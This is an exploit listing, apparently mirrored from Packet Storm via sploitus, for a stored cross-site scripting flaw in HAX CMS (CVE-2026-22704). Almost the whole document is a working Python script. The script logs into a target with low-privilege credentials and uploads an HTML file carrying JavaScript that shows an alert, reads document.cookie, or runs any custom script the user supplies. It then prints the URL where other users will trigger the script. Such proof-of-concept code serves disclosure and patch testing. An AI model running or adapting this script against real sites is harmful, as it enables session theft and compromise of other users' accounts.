Share
## https://sploitus.com/exploit?id=PACKETSTORM:220393
# Exploit Title: HAX CMS 24.x - Stored Cross-Site Scripting (XSS)
    # Date: 2026-01-28
    # Google Dork: "N/A"
    # Author: Mohammed Idrees Banyamer
    # Author Country: Jordan
    # Instagram: @banyamer_security
    # Vendor Homepage: https://www.drupal.org/project/hax
    # Software Link: https://github.com/elmsln/haxcms
    # Version: <= 24.x (tested)
    # Tested on: Linux
    # CVE: CVE-2026-22704
    #
    # Description:
    # HAX CMS allows low-privileged authenticated users to upload HTML files
    # without proper content sanitization. Uploaded HTML files are rendered
    # directly by the application, leading to a Stored Cross-Site Scripting (XSS)
    # vulnerability when accessed by other users.
    #
    #
    # Usage:
    #   python3 haxcms_stored_xss.py --target http://TARGET --user USER --password PASS
    #
    
    
    import argparse
    import requests
    from urllib.parse import urljoin
    
    
    def create_poc_html(payload_type="alert"):
        """
        Generate HTML PoC file.
        Payload types:
          - alert  : simple JS alert (default)
          - cookie : cookie access demonstration
          - custom : user supplied JavaScript
        """
    
        if payload_type == "cookie":
            js_payload = """
            alert("PoC: document.cookie = " + document.cookie);
            """
        elif payload_type == "alert":
            js_payload = """
            alert("Stored XSS PoC - CVE-2026-22704");
            """
        else:
            js_payload = payload_type
    
        return f"""<!DOCTYPE html>
    <html>
    <head>
      <meta charset="UTF-8">
      <title>PoC</title>
    </head>
    <body>
      <h2>HAX CMS Stored XSS PoC</h2>
      <script>
      {js_payload.strip()}
      </script>
    </body>
    </html>
    """
    
    
    def upload_file(target, username, password, filename, content):
        session = requests.Session()
    
        login_url = urljoin(target, "/user/login")
        login_data = {
            "name": username,
            "pass": password,
            "form_id": "user_login_form",
            "op": "Log in"
        }
    
        print("[*] Logging in...")
        r = session.post(login_url, data=login_data, allow_redirects=True)
    
        if "log out" not in r.text.lower():
            print("[!] Login failed")
            return False
    
        print("[+] Login successful")
    
        upload_url = urljoin(target, "/files/upload")
        files = {
            "files[upload]": (filename, content.encode(), "text/html")
        }
    
        print("[*] Uploading HTML file...")
        r = session.post(upload_url, files=files)
    
        if r.status_code not in (200, 201, 302):
            print("[!] Upload failed")
            return False
    
        file_url = urljoin(target, f"/sites/default/files/{filename}")
        print("[+] File uploaded successfully")
        print("[+] PoC URL:")
        print(file_url)
    
        return True
    
    
    def main():
        parser = argparse.ArgumentParser(description="HAX CMS Stored XSS PoC (CVE-2026-22704)")
        parser.add_argument("--target", required=True, help="Target base URL")
        parser.add_argument("--user", required=True, help="Low privilege username")
        parser.add_argument("--password", required=True, help="Password")
        parser.add_argument("--payload", default="alert",
                            choices=["alert", "cookie", "custom"],
                            help="PoC payload type")
        parser.add_argument("--filename", default="poc.html",
                            help="Uploaded file name")
    
        args = parser.parse_args()
    
        if args.payload == "custom":
            js = input("[?] Enter custom JavaScript payload:\n> ")
            html = create_poc_html(js)
        else:
            html = create_poc_html(args.payload)
    
        upload_file(
            args.target.rstrip("/"),
            args.user,
            args.password,
            args.filename,
            html
        )
    
    
    if __name__ == "__main__":
        main()